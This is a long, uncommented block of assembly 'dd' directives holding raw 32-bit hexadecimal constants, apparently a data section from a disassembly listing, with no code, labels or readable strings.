dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh
dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h
dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h
dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h
dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h
dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch
dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h
dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h
dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h
dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
dd 0C8101101h, 30912009h, 44312200h, 2F388C34h, 69070041h
dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h
dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh
dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h
dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh
dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h
dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h
dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh
dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h
dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh
dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h
dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h
dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
dd 5C809219h, 9300053h, 3C247214h, 89161260h, 6003992Ch
dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh
dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h
dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h, 2060A987h
dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh
dd 69C6015Ah, 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh
dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h
dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
dd 995AC00h, 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h
dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h
dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h
dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h, 93E7031h
dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h, 32896A60h
dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh
dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h, 8196FE86h
dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h
dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h
dd 41400F4h, 268C1C97h, 27B83411h, 4C00427Eh, 64445822h
dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h
dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h
dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h
dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h
dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh
dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h
dd 0F8AEFB9Ch, 70154C8h, 0BF08E429h, 1E11C023h, 0AEA22C32h
dd 4F64EDA4h, 3E7E2C74h, 0A612009Ah, 3430B025h, 7200656Bh
dd 6C076E73h, 2E3233h, 10D45E64h, 7487473Eh, 0C9789Dh
dd 0E66ECE1Eh, 1C0C6854h
dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h
dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h
dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h
dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h
dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh
dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h, 98212ED5h
dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch, 87FD7970h
dd 17AD23Dh, 18740648h, 0CB726269h, 612445F1h, 32E9CCB4h
dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h
dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh
dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h
dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h
dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h, 0ED08BE64h
dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh
dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch
dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h
dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h, 7B041857h
dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h, 227AD153h
dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h
dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h
dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh, 4DE80A67h
dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h, 0C80943B6h
dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h
dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h
dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h
dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh
dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah
dd 542849Ah, 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h
dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h
dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h
dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h
dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h
dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h
dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh
dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h, 5D005051h
dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh
dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h
dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h, 9480B970h
dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h
dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh
dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h
dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h
dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h
dd 981A0C7Dh, 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h
dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h
dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch
dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h
dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
dd 303B1AE1h, 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h
dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
dd 8CC0007h, 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h
dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
dd 87F980EEh, 3083302h, 21471827h, 0F0017267h, 93C789A7h
dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh
dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah, 3F368349h
dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h
dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h
dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh
dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h
dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h
dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h
dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h
dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh
dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h
dd 28C1206h, 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h
dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh
dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh
dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h
dd 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h, 763B0074h
dd 7A687843h, 7E717C70h, 9E758473h, 0D279AF77h, 0F07DE77Bh
dd 0FA00F57Fh, 1B370D1Ch, 91D259Dh, 1E489E43h, 87675584h
dd 678647B5h, 0AF96878Eh
dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh
dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h
dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h
dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h
dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h
dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh
dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch
dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh
dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h
dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h
dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h
dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh
dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h, 487FC20h
dd 195B03Ch, 671C4714h, 602C8424h, 253CC93h, 7CFEC77Fh
dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh, 80FA5FF4h
dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h, 3C3B2A3Ah
dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h
dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h
dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h, 3CE75D87h
dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch
dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h
dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h
dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h, 91A422A0h
dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h
dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h, 0BA675274h
dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh
dd 0D0F8C3F4h, 3970FCh, 83A0431h, 383C665Ch, 2E403D00h
dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h
dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh
dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h
dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch
dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h
dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h
dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h
dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh
dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h
dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh
dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah
dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h
dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh
dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h
dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h
dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h
dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
dd 0EC6D8E00h, 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h
dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h
dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
dd 5761D0E9h, 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h
dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h
dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh
dd 97C9893Fh, 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h
dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h
dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
dd 6A00E4F2h, 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh
dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h
dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h
dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h
dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h
dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh
dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h
dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh
dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh
dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h
dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh
dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh
dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h
dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h
dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h
dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h
dd 8430170Bh, 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h, 0FE27FAh
dd 0F437B02Dh, 0B25AF849h, 734A6601h, 0E2922E09h, 0CA54B07Ah
dd 3AD5F939h, 0FBFA00E7h, 28203581h, 48A8001Ch, 504F7AB2h
dd 5801BA09h, 14642641h
dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh
dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh
dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h, 0F0786CEEh
dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch, 0D39C7894h
dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah
dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h
dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h, 5CA05344h
dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh, 0BCA203B4h
dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah
dd 0DC42C29h, 3D604D1h, 803E873Ch, 5869A02Bh, 0C5E1BF00h
dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h
dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h, 69B03084h
dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h
dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h
dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h
dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h, 0A593A873h
dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh
dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h, 331883D7h
dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h
dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch
dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h
dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch
dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh
dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h
dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh
dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h
dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h
dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h
dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h
dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh
dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h
dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h
dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h
dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
dd 7BE0024h, 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h
dd 0E01CD722h, 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h
dd 60A414C0h, 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h
dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh
dd 5F343CD0h, 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh
dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh
dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch
